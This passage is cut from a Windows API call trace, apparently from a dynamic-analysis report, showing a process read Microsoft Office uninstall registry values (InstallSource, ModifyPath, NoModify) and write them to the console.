(hFile=0x50) returned 0x1 [0147.667] lstrlenW (lpString=" ") returned 4 [0147.667] GetConsoleOutputCP () returned 0x1b5 [0147.667] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.667] GetConsoleOutputCP () returned 0x1b5 [0147.667] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.667] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.667] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.667] __iob_func () returned 0x7fefd702a80 [0147.667] _fileno (_File=0x7fefd702ab0) returned 1 [0147.667] _errno () returned 0xc4bb0 [0147.667] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.667] _errno () returned 0xc4bb0 [0147.667] GetFileType (hFile=0x50) returned 0x1 [0147.668] lstrlenW (lpString="") returned 0 [0147.668] __iob_func () returned 0x7fefd702a80 [0147.668] _fileno (_File=0x7fefd702ab0) returned 1 [0147.668] _errno () returned 0xc4bb0 [0147.668] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.668] _errno () returned 0xc4bb0 [0147.668] GetFileType (hFile=0x50) returned 0x1 [0147.668] lstrlenW (lpString="\n") returned 1 [0147.668] GetConsoleOutputCP () returned 0x1b5 [0147.668] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.668] GetConsoleOutputCP () returned 0x1b5 [0147.668] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.668] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.668] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.668] GetProcessHeap () returned 0x2e0000 [0147.668] GetProcessHeap () returned 0x2e0000 [0147.668] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.668] GetProcessHeap () returned 0x2e0000 [0147.668] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.668] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.668] RegEnumValueW (in: hKey=0x5c, dwIndex=0x8, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallSource", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.668] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallSource", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x6a) returned 0x0 [0147.668] GetProcessHeap () returned 0x2e0000 [0147.668] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6c) returned 0x2fd9a0 [0147.668] GetProcessHeap () returned 0x2e0000 [0147.668] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0) returned 1 [0147.669] GetProcessHeap () returned 0x2e0000 [0147.669] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd9a0) returned 0x6c [0147.669] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallSource", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fd9a0, pcbData=0x23f670*=0x6a | out: pdwType=0x23f5f0*=0x1, pvData="c:\\program files\\microsoft office\\root\\integration\\", pcbData=0x23f670*=0x68) returned 0x0 [0147.669] __iob_func () returned 0x7fefd702a80 [0147.669] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.669] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.669] _fileno (_File=0x7fefd702ab0) returned 1 [0147.669] _errno () returned 0xc4bb0 [0147.669] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.669] _errno () returned 0xc4bb0 [0147.669] GetFileType (hFile=0x50) returned 0x1 [0147.669] lstrlenW (lpString=" ") returned 4 [0147.669] GetConsoleOutputCP () returned 0x1b5 [0147.669] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.669] GetConsoleOutputCP () returned 0x1b5 [0147.669] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.669] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.669] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.669] lstrlenW (lpString="InstallSource") returned 13 [0147.669] __iob_func () returned 0x7fefd702a80 [0147.669] _fileno (_File=0x7fefd702ab0) returned 1 [0147.669] _errno () returned 0xc4bb0 [0147.669] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.669] _errno () returned 0xc4bb0 [0147.669] GetFileType (hFile=0x50) returned 0x1 [0147.669] lstrlenW (lpString="InstallSource") returned 13 [0147.670] GetConsoleOutputCP () returned 0x1b5 [0147.670] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallSource", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0147.670] GetConsoleOutputCP () returned 0x1b5 [0147.670] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallSource", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallSource", lpUsedDefaultChar=0x0) returned 13 [0147.670] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0147.670] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.670] __iob_func () returned 0x7fefd702a80 [0147.670] _fileno (_File=0x7fefd702ab0) returned 1 [0147.670] _errno () returned 0xc4bb0 [0147.670] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.670] _errno () returned 0xc4bb0 [0147.670] GetFileType (hFile=0x50) returned 0x1 [0147.670] lstrlenW (lpString=" ") returned 4 [0147.670] GetConsoleOutputCP () returned 0x1b5 [0147.670] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.670] GetConsoleOutputCP () returned 0x1b5 [0147.670] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.670] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.670] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.671] __iob_func () returned 0x7fefd702a80 [0147.671] _fileno (_File=0x7fefd702ab0) returned 1 [0147.671] _errno () returned 0xc4bb0 [0147.671] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.671] _errno () returned 0xc4bb0 [0147.671] GetFileType (hFile=0x50) returned 0x1 [0147.671] lstrlenW (lpString="REG_SZ") returned 6 [0147.671] GetConsoleOutputCP () returned 0x1b5 [0147.671] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.671] GetConsoleOutputCP () returned 0x1b5 [0147.671] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.671] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.671] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.671] __iob_func () returned 0x7fefd702a80 [0147.671] _fileno (_File=0x7fefd702ab0) returned 1 [0147.671] _errno () returned 0xc4bb0 [0147.671] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.671] _errno () returned 0xc4bb0 [0147.671] GetFileType (hFile=0x50) returned 0x1 [0147.671] lstrlenW (lpString=" ") returned 4 [0147.671] GetConsoleOutputCP () returned 0x1b5 [0147.671] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.671] GetConsoleOutputCP () returned 0x1b5 [0147.672] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.672] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.672] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.672] __iob_func () returned 0x7fefd702a80 [0147.672] _fileno (_File=0x7fefd702ab0) returned 1 [0147.672] _errno () returned 0xc4bb0 [0147.672] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.672] _errno () returned 0xc4bb0 [0147.672] GetFileType (hFile=0x50) returned 0x1 [0147.672] lstrlenW (lpString="c:\\program files\\microsoft office\\root\\integration\\") returned 51 [0147.672] GetConsoleOutputCP () returned 0x1b5 [0147.672] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="c:\\program files\\microsoft office\\root\\integration\\", cchWideChar=51, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 51 [0147.672] GetConsoleOutputCP () returned 0x1b5 [0147.672] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="c:\\program files\\microsoft office\\root\\integration\\", cchWideChar=51, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="c:\\program files\\microsoft office\\root\\integration\\", lpUsedDefaultChar=0x0) returned 51 [0147.672] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 51 [0147.672] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.672] __iob_func () returned 0x7fefd702a80 [0147.672] _fileno (_File=0x7fefd702ab0) returned 1 [0147.672] _errno () returned 0xc4bb0 [0147.672] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.672] _errno () returned 0xc4bb0 [0147.672] GetFileType (hFile=0x50) returned 0x1 [0147.672] lstrlenW (lpString="\n") returned 1 [0147.672] GetConsoleOutputCP () returned 0x1b5 [0147.673] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.673] GetConsoleOutputCP () returned 0x1b5 [0147.673] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.673] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.673] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.673] GetProcessHeap () returned 0x2e0000 [0147.673] GetProcessHeap () returned 0x2e0000 [0147.673] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0) returned 1 [0147.673] GetProcessHeap () returned 0x2e0000 [0147.673] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd9a0) returned 0x6c [0147.673] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0 | out: hHeap=0x2e0000) returned 1 [0147.673] RegEnumValueW (in: hKey=0x5c, dwIndex=0x9, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="ModifyPath", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.673] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="ModifyPath", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x6a) returned 0x0 [0147.673] GetProcessHeap () returned 0x2e0000 [0147.673] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6c) returned 0x2fd9a0 [0147.673] GetProcessHeap () returned 0x2e0000 [0147.673] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0) returned 1 [0147.673] GetProcessHeap () returned 0x2e0000 [0147.673] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd9a0) returned 0x6c [0147.673] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="ModifyPath", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fd9a0, pcbData=0x23f670*=0x6a | out: pdwType=0x23f5f0*=0x2, pvData="MsiExec.exe /X{90160000-008C-0000-1000-0000000FF1CE}", pcbData=0x23f670*=0x6a) returned 0x0 [0147.673] __iob_func () returned 0x7fefd702a80 [0147.673] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.673] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.673] _fileno (_File=0x7fefd702ab0) returned 1 [0147.673] _errno () returned 0xc4bb0 [0147.674] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.674] _errno () returned 0xc4bb0 [0147.674] GetFileType (hFile=0x50) returned 0x1 [0147.674] lstrlenW (lpString=" ") returned 4 [0147.674] GetConsoleOutputCP () returned 0x1b5 [0147.674] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.674] GetConsoleOutputCP () returned 0x1b5 [0147.674] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.674] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.674] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.674] lstrlenW (lpString="ModifyPath") returned 10 [0147.674] __iob_func () returned 0x7fefd702a80 [0147.674] _fileno (_File=0x7fefd702ab0) returned 1 [0147.674] _errno () returned 0xc4bb0 [0147.674] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.674] _errno () returned 0xc4bb0 [0147.674] GetFileType (hFile=0x50) returned 0x1 [0147.674] lstrlenW (lpString="ModifyPath") returned 10 [0147.674] GetConsoleOutputCP () returned 0x1b5 [0147.674] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ModifyPath", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0147.674] GetConsoleOutputCP () returned 0x1b5 [0147.675] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ModifyPath", cchWideChar=10, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ModifyPath", lpUsedDefaultChar=0x0) returned 10 [0147.675] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 10 [0147.675] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.675] __iob_func () returned 0x7fefd702a80 [0147.675] _fileno (_File=0x7fefd702ab0) returned 1 [0147.675] _errno () returned 0xc4bb0 [0147.675] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.675] _errno () returned 0xc4bb0 [0147.675] GetFileType (hFile=0x50) returned 0x1 [0147.675] lstrlenW (lpString=" ") returned 4 [0147.675] GetConsoleOutputCP () returned 0x1b5 [0147.675] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.675] GetConsoleOutputCP () returned 0x1b5 [0147.675] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.675] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.675] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.675] __iob_func () returned 0x7fefd702a80 [0147.675] _fileno (_File=0x7fefd702ab0) returned 1 [0147.675] _errno () returned 0xc4bb0 [0147.675] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.675] _errno () returned 0xc4bb0 [0147.675] GetFileType (hFile=0x50) returned 0x1 [0147.675] lstrlenW (lpString="REG_EXPAND_SZ") returned 13 [0147.675] GetConsoleOutputCP () returned 0x1b5 [0147.676] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0147.676] GetConsoleOutputCP () returned 0x1b5 [0147.676] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_EXPAND_SZ", lpUsedDefaultChar=0x0) returned 13 [0147.676] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0147.676] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.676] __iob_func () returned 0x7fefd702a80 [0147.676] _fileno (_File=0x7fefd702ab0) returned 1 [0147.676] _errno () returned 0xc4bb0 [0147.676] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.676] _errno () returned 0xc4bb0 [0147.676] GetFileType (hFile=0x50) returned 0x1 [0147.676] lstrlenW (lpString=" ") returned 4 [0147.676] GetConsoleOutputCP () returned 0x1b5 [0147.676] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.676] GetConsoleOutputCP () returned 0x1b5 [0147.676] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.676] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.676] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.676] __iob_func () returned 0x7fefd702a80 [0147.676] _fileno (_File=0x7fefd702ab0) returned 1 [0147.676] _errno () returned 0xc4bb0 [0147.677] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.677] _errno () returned 0xc4bb0 [0147.677] GetFileType (hFile=0x50) returned 0x1 [0147.677] lstrlenW (lpString="MsiExec.exe /X{90160000-008C-0000-1000-0000000FF1CE}") returned 52 [0147.677] GetConsoleOutputCP () returned 0x1b5 [0147.677] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{90160000-008C-0000-1000-0000000FF1CE}", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0147.677] GetConsoleOutputCP () returned 0x1b5 [0147.677] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{90160000-008C-0000-1000-0000000FF1CE}", cchWideChar=52, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MsiExec.exe /X{90160000-008C-0000-1000-0000000FF1CE}", lpUsedDefaultChar=0x0) returned 52 [0147.677] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 52 [0147.677] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.677] __iob_func () returned 0x7fefd702a80 [0147.677] _fileno (_File=0x7fefd702ab0) returned 1 [0147.677] _errno () returned 0xc4bb0 [0147.677] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.677] _errno () returned 0xc4bb0 [0147.677] GetFileType (hFile=0x50) returned 0x1 [0147.677] lstrlenW (lpString="\n") returned 1 [0147.677] GetConsoleOutputCP () returned 0x1b5 [0147.677] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.677] GetConsoleOutputCP () returned 0x1b5 [0147.678] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.678] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.678] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.678] GetProcessHeap () returned 0x2e0000 [0147.678] GetProcessHeap () returned 0x2e0000 [0147.678] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0) returned 1 [0147.678] GetProcessHeap () returned 0x2e0000 [0147.678] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd9a0) returned 0x6c [0147.678] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0 | out: hHeap=0x2e0000) returned 1 [0147.678] RegEnumValueW (in: hKey=0x5c, dwIndex=0xa, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="NoModify", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.678] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoModify", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.678] GetProcessHeap () returned 0x2e0000 [0147.678] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.678] GetProcessHeap () returned 0x2e0000 [0147.678] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.678] GetProcessHeap () returned 0x2e0000 [0147.678] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.678] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoModify", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x1, pcbData=0x23f670*=0x4) returned 0x0 [0147.678] __iob_func () returned 0x7fefd702a80 [0147.678] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.678] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.678] _fileno (_File=0x7fefd702ab0) returned 1 [0147.678] _errno () returned 0xc4bb0 [0147.678] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.678] _errno () returned 0xc4bb0 [0147.678] GetFileType (hFile=0x50) returned 0x1 [0147.678] lstrlenW (lpString=" ") returned 4 [0147.678] GetConsoleOutputCP () returned 0x1b5 [0147.679] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.679] GetConsoleOutputCP () returned 0x1b5 [0147.679] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.679] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.679] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.679] lstrlenW (lpString="NoModify") returned 8 [0147.679] __iob_func () returned 0x7fefd702a80 [0147.679] _fileno (_File=0x7fefd702ab0) returned 1 [0147.679] _errno () returned 0xc4bb0 [0147.679] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.679] _errno () returned 0xc4bb0 [0147.679] GetFileType (hFile=0x50) returned 0x1 [0147.679] lstrlenW (lpString="NoModify") returned 8 [0147.679] GetConsoleOutputCP () returned 0x1b5 [0147.679] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, 